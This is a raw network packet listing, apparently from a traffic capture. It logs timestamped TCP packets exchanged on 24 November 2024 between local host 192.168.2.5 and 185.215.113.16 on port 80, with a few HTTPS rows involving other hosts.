Nov 24, 2024 23:24:50.255184889 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.255196095 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.255244970 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.255278111 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.255311012 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.255352974 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.256011009 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.256061077 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.256078959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.256112099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.256113052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.256154060 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.256268978 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.256889105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.256944895 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.256957054 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.257019997 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.257019997 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.257035017 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.257096052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.257769108 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.257832050 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.257844925 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.257857084 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.257869005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.257891893 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.257921934 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.258682013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.258725882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.258738041 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.258799076 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.258831024 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.258838892 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.258881092 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.259660959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.259710073 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.259720087 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.259721994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.259756088 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.259757996 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.259809017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.259809017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.260445118 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.260499001 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.260507107 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.260512114 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.260567904 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.260581970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.260627985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.261367083 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.261404037 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.261416912 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.261451960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.261483908 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.261508942 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.261961937 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.262229919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.262286901 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.262300014 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.262330055 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.262361050 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.262448072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.262492895 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.263125896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.263185024 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.263197899 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.263278008 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.263278008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.263370991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.264002085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.264056921 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.264070034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.264117956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.264147043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.264163017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.264251947 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.264924049 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.264967918 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.264981031 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.265007973 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.265038967 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.265151024 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.265206099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.265780926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.265857935 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.265871048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.265912056 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.265943050 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.265963078 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.266011953 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.266685963 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.266712904 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.266724110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.266761065 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.266793013 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.266824961 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.266866922 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.267668009 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.267713070 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.267724991 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.267724991 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.267760992 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.267803907 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.267849922 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.268482924 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.268543959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.268556118 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.268562078 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.268598080 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.268630981 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.268680096 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.269357920 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.269403934 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.269418955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.269465923 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.269496918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.414546013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.414594889 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.414608002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.414638996 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.414681911 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.414793968 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.414813042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.414825916 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.414838076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.414860964 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.414892912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.415636063 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.415745020 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.415756941 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.415770054 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.415812016 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.415844917 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.416520119 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.416553020 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.416565895 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.416583061 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.416615009 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.417335987 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.421606064 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.421638966 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.422183990 CET	49891	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:50.422190905 CET	443	49891	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:50.450839043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.450871944 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.450884104 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.450902939 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.450937033 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.451114893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.451196909 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.451209068 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.451220989 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.451255083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.451287985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.451950073 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.452003956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.452045918 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.452076912 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.452116966 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.452126980 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.452131033 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.452178955 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.452966928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.453026056 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.453037977 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.453073978 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.453108072 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.453114986 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.453244925 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.453820944 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.453870058 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.453881025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.453924894 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.453954935 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.453968048 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.453999043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.454718113 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.454785109 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.454790115 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.454803944 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.454859018 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.454870939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.454926968 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.455609083 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.455653906 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.455666065 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.455684900 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.455698013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.455723047 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.455754042 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.456507921 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.456569910 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.456583023 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.456640005 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.456667900 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.456672907 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.456712008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.457397938 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.457434893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.457446098 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.457453966 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.457492113 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.457545042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.457592010 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.458281994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.458338976 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.458348036 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.458350897 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.458394051 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.458427906 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.458569050 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.459161043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.459223032 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.459224939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.459239960 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.459285975 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.459306002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.459348917 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.460067987 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.460114002 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.460125923 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.460154057 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.460185051 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.460211992 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.460314035 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.460972071 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.461021900 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.461034060 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.461086988 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.461105108 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.461152077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.461824894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.461891890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.461925983 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.461937904 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.461977005 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.462049007 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.462102890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.462776899 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.462841034 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.462841034 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.462853909 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.462905884 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.462958097 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.463130951 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.463620901 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.463668108 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.463679075 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.463728905 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.463761091 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.463805914 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.464520931 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.464586020 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.464612961 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.464624882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.464636087 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.464685917 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.465403080 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.465442896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.465455055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.465464115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.465508938 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.465548038 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.465594053 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.466300011 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.466363907 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.466381073 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.466394901 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.466407061 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.466464043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.466464043 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.467257977 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.467341900 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.467355013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.467375994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.467391968 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.467425108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.468056917 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.468116045 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.468116999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.468131065 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.468177080 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.468203068 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.468249083 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.468662024 CET	49804	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:50.468681097 CET	443	49804	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:50.468832016 CET	49805	443	192.168.2.5	162.159.61.3
Nov 24, 2024 23:24:50.468859911 CET	443	49805	162.159.61.3	192.168.2.5
Nov 24, 2024 23:24:50.468960047 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.469013929 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.469016075 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.469027042 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.469074011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.469088078 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.469465017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.469465971 CET	49897	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:50.469548941 CET	443	49897	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:50.469846964 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.469857931 CET	49897	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:50.469907999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.469921112 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.469959021 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.469990015 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.470011950 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.470062017 CET	49897	443	192.168.2.5	104.117.182.56
Nov 24, 2024 23:24:50.470062017 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.470097065 CET	443	49897	104.117.182.56	192.168.2.5
Nov 24, 2024 23:24:50.470829964 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.470849037 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.470858097 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.470890999 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.470927000 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.615761995 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.615835905 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.615848064 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.615859985 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.615868092 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.615909100 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.615932941 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.616195917 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.616249084 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.616254091 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.616261959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.616311073 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.616744995 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.616827011 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.616837978 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.616892099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.616919041 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.617062092 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.617685080 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.617743015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.617749929 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.617755890 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.617902040 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.652590036 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.652643919 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.652657986 CET	80	49885	185.215.113.16	192.168.2.5
Nov 24, 2024 23:24:50.652662992 CET	49885	80	192.168.2.5	185.215.113.16
Nov 24, 2024 23:24:50.652669907 CET	80	49885	185.215.113.16	192.168.2.5
